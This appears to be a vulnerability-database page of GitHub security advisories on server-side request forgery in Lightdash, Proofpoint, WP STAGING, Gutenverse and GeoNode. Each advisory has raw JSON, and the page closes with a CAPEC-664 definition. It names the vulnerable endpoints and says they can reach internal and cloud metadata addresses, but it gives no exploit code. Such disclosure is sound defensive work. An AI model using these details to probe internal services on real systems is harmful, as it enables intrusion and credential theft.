Vulnerability from github – Published: 2026-08-21 00:31 – Updated: 2026-08-21 00:31
VLAI
Details

Lightdash stores the webhook URL supplied with a scheduled delivery and later posts to it from sendWebhook in packages/backend/src/clients/GoogleChat/GoogleChatClient.ts and in packages/backend/src/clients/MicrosoftTeams/MicrosoftTeamsClient.ts. In affected versions both call fetch on the stored URL directly. The validatePublicHttpUrl helper in packages/backend/src/utils/ssrfProtection.ts, used for MCP server URLs, is not applied on either path, and the webhook fields carry no server-side URL constraint. A user able to create or trigger a scheduled delivery can therefore direct the server to issue POST requests to private, loopback and link-local addresses, including cloud metadata endpoints, and can distinguish reachable internal services from unreachable ones through the resulting errors. The upstream response is never returned to the requester; on a failure status its body is written to the server log instead. Version 1.146.4 routes both clients through postSchedulerWebhook from packages/backend/src/utils/schedulerWebhookValidation rather than calling fetch directly.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-72846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T22:18:05Z",
    "severity": "MODERATE"
  },
  "details": "Lightdash stores the webhook URL supplied with a scheduled delivery and later posts to it from sendWebhook in packages/backend/src/clients/GoogleChat/GoogleChatClient.ts and in packages/backend/src/clients/MicrosoftTeams/MicrosoftTeamsClient.ts. In affected versions both call fetch on the stored URL directly. The validatePublicHttpUrl helper in packages/backend/src/utils/ssrfProtection.ts, used for MCP server URLs, is not applied on either path, and the webhook fields carry no server-side URL constraint. A user able to create or trigger a scheduled delivery can therefore direct the server to issue POST requests to private, loopback and link-local addresses, including cloud metadata endpoints, and can distinguish reachable internal services from unreachable ones through the resulting errors. The upstream response is never returned to the requester; on a failure status its body is written to the server log instead. Version 1.146.4 routes both clients through postSchedulerWebhook from packages/backend/src/utils/schedulerWebhookValidation rather than calling fetch directly.",
  "id": "GHSA-hw2h-qf3m-2r8v",
  "modified": "2026-08-21T00:31:23Z",
  "published": "2026-08-21T00:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72846"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lightdash/lightdash/issues/24389"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lightdash/lightdash"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lightdash/lightdash/blob/1.146.3/packages/backend/src/clients/GoogleChat/GoogleChatClient.ts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lightdash/lightdash/blob/1.146.3/packages/backend/src/clients/MicrosoftTeams/MicrosoftTeamsClient.ts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lightdash/lightdash/releases/tag/1.146.4"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/lightdash-scheduled-delivery-webhook-urls-are-not-validated-allowing-server-side-request-forgery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HW37-XG77-53HX

Vulnerability from github – Published: 2024-05-14 21:34 – Updated: 2024-05-14 21:34
VLAI
Details

The Proofpoint Encryption endpoint of Proofpoint Enterprise Protection contains a Server-Side Request Forgery vulnerability that allows an authenticated user to relay HTTP requests from the Protection server to otherwise private network addresses.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0862"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T19:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The Proofpoint Encryption endpoint of Proofpoint Enterprise Protection contains a Server-Side Request Forgery vulnerability that allows an authenticated user to relay HTTP requests from the Protection server to otherwise private network addresses.",
  "id": "GHSA-hw37-xg77-53hx",
  "modified": "2024-05-14T21:34:44Z",
  "published": "2024-05-14T21:34:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0862"
    },
    {
      "type": "WEB",
      "url": "https://www.proofpoint.com/us/security/security-advisories/pfpt-sa-2024-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HW5V-77JJ-PRP8

Vulnerability from github – Published: 2024-05-31 06:30 – Updated: 2025-03-18 15:30
VLAI
Details

The WP STAGING WordPress Backup Plugin WordPress plugin before 3.5.0 does not prevent users with the administrator role from pinging conducting SSRF attacks, which may be a problem in multisite configurations.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-4469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-31T06:15:13Z",
    "severity": "HIGH"
  },
  "details": "The WP STAGING WordPress Backup Plugin  WordPress plugin before 3.5.0 does not prevent users with the administrator role from pinging conducting SSRF attacks, which may be a problem in multisite configurations.",
  "id": "GHSA-hw5v-77jj-prp8",
  "modified": "2025-03-18T15:30:38Z",
  "published": "2024-05-31T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4469"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/d6b1270b-52c0-471d-a5fb-507e21b46310"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HW9F-7C29-3P62

Vulnerability from github – Published: 2026-05-05 06:31 – Updated: 2026-05-05 06:31
VLAI
Details

The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 3.5.3 via the import_images() function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-2948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-05T04:16:09Z",
    "severity": "MODERATE"
  },
  "details": "The Gutenverse \u2013 Ultimate WordPress FSE Blocks Addons \u0026 Ecosystem plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 3.5.3 via the import_images() function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-hw9f-7c29-3p62",
  "modified": "2026-05-05T06:31:05Z",
  "published": "2026-05-05T06:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2948"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3507804/gutenverse"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ac909a4b-d949-42eb-871a-963bc6242c12?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HW9R-6M78-W6H3

Vulnerability from github – Published: 2026-06-08 12:51 – Updated: 2026-06-08 12:51
VLAI
Summary
GeoNode contains a server-side request forgery vulnerability in the service registration endpoint
Details

GeoNode versions 4.4.5 and 5.0.2 (and prior within their respective releases) contain a server-side request forgery vulnerability in the service registration endpoint that allows authenticated attackers to trigger outbound network requests to arbitrary URLs by submitting a crafted service URL during form validation. Attackers can probe internal network targets including loopback addresses, RFC1918 private IP ranges, link-local addresses, and cloud metadata services by exploiting insufficient URL validation in the WMS service handler without private IP filtering or allowlist enforcement.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "geonode"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "geonode"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39922"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T12:51:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "GeoNode versions 4.4.5 and 5.0.2 (and prior within their respective releases) contain a server-side request forgery vulnerability in the service registration endpoint that allows authenticated attackers to trigger outbound network requests to arbitrary URLs by submitting a crafted service URL during form validation. Attackers can probe internal network targets including loopback addresses, RFC1918 private IP ranges, link-local addresses, and cloud metadata services by exploiting insufficient URL validation in the WMS service handler without private IP filtering or allowlist enforcement.",
  "id": "GHSA-hw9r-6m78-w6h3",
  "modified": "2026-06-08T12:51:32Z",
  "published": "2026-06-08T12:51:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39922"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GeoNode/geonode"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GeoNode/geonode/releases/tag/4.4.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GeoNode/geonode/releases/tag/5.0.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/geonode/PYSEC-2026-61.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/geonode-ssrf-via-service-registration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GeoNode contains a server-side request forgery vulnerability in the service registration endpoint"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list